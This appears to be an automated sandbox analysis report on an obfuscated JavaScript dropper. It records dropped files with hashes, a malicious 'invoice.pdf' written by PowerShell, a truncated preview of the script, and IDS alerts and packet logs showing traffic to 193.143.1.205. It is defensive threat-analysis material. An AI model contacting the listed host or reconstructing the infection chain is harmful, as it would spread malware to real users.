Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\864a50d5-bbf8-45d7-932c-fb048e2332d3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8da4e034-e854-4887-8e42-d74208670b15.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1111944
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121D1ybxrr/IxkB1mabFhOXZ/fEa+fDERXTJJJJv+9UZwY0SWB4:O3Pjegf121DMNB1DofjEiJJJJm94GS84
MD5:	FA6978A9EA472E8ACFF72AFE8CC7CC81
SHA1:	D58155446B67ACF4DA331A977B8EC7BA105C2C4F
SHA-256:	3D0DF2B14FC632520705424D2DA394922D3EDD8C977950656B736352CD5A37E2
SHA-512:	6B16382E6A4B9EECB8E8FB82189C2741511E8CF99C83B3FA52B062165B3B366EE0C11A7F60CE4B08D881B2418234097FA13CCAA9C90B1D7D37BD4D9A56EBA96C
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18270), with CRLF line terminators
Entropy (8bit):	4.900293118606143
TrID:
File name:	27344289642108220053.js
File size:	21'839 bytes
MD5:	3d66905f222a6e10cb54e34459f3f1c1
SHA1:	d18f32d2b190824478527ea64178016db6892ab5
SHA256:	a75f78dbe424e438b128781f8460ec7f1c2b24f46e6cb98401cfc394d6829a15
SHA512:	f4ae46ae910a85608f475ebb604b2864224533eaab9295144f35356754642b1bacebb05af06f1e1ccc67ce6609b70de807292511a90f1055286e316bca3a5a34
SSDEEP:	384:HxXR2g939H9KElBVAN8/J6Dcnc2SbyeTVENPTaQEPgnP3IvZyLPBMElA5dLoz5l/:Zj939H9KElBVAN8/J6Dcnc2SbyeTVENv
TLSH:	95A275C8F587461DCFFC23B2DD664297222D642CD23D325B65B514A6221BBB89EF7230
File Content Preview:	function wkmnshj(){wzxuaslxu=[1031,3079,5127,4103,2055,3072];var jrfdsho=this[whbyqobyr+kxxxzdyh+fcpez+zpqozqa+deuquip+exmwiir+juytngu+zfenyje](this[zbavkef+gbpuag+bvaxszpbh+fcpez+qhujslh+whbyqobyr+zfenyje][nhgwmja+fcpez+deuquip+kxxxzdyh+zfenyje+deuquip+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:45:04.198566+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T19:45:07.036629+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:45:03.409028053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:03.413991928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:03.414103985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:03.416960001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:03.421864033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198409081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198457956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198470116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198482990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198494911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198506117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198517084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198529005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198539019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198549986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.198565960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.198630095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.203387976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.203399897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.203468084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.241954088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.242008924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.242110014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.315485001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315505028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315522909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315530062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315541983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315556049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.315695047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.316104889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316154957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316168070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316179037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316224098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.316241980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.316807032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316832066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316844940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316855907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316868067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.316874027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.316893101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.317533970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.317545891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.317559004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.317569971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.317579985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.317584991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.317611933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.317655087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.318394899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.318407059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.318418026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.318461895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.364795923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.369843006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.369890928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.369947910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.369981050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.370023966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.371041059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.402132034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432810068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432848930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432883978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432917118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432952881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.432984114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.432988882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433031082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.433191061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433224916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433242083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.433259964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433295012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433300972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.433692932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433727026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433741093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.433763027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433796883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433810949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.433830976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433866978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.433878899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.434528112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434577942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434585094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.434612036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434662104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434665918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.434698105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434732914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.434748888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.435518026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435571909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435595036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.435606956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435642004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435652018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.435678005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435712099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.435722113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.436317921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436352015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436372042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.436387062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436420918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436431885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.436456919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436510086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.436512947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.437154055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437205076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437222958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.437239885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437273979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437297106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.437309027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437344074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437356949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.437942028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.437995911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.456723928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.456785917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.456830025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.456865072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.476583004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.476604939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.476694107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.488946915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.488969088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.488981962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.489078045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.519541025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.519562006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.519664049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.559988976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560019016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560043097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560054064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560131073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560153008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560165882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560194969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.560195923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.560237885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.560468912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560519934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.560522079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560535908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560547113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.560580015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561083078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561098099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561110020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561122894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561135054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561142921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561156034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561162949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561204910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561820030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561840057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561852932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561865091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561868906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561877966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561891079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.561908960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.561943054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.562691927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562714100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562726021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562737942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562752962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.562757969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562772036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.562808990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.562841892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.563616037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563630104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563642025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563654900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563667059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563673973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.563682079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.563698053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.563721895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.564487934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564502954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564515114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564526081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564538002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564551115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.564569950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.564687014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.564687014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.565340042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565352917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565366030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565377951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565388918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565402031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.565422058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.565422058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.565445900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.566194057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566214085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566226959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566239119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566246986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.566251993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566266060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.566294909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.566325903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.567002058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:45:04.567054033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:45:04.567074060 CET	80	49704	193.143.1.205	192.168.2.8
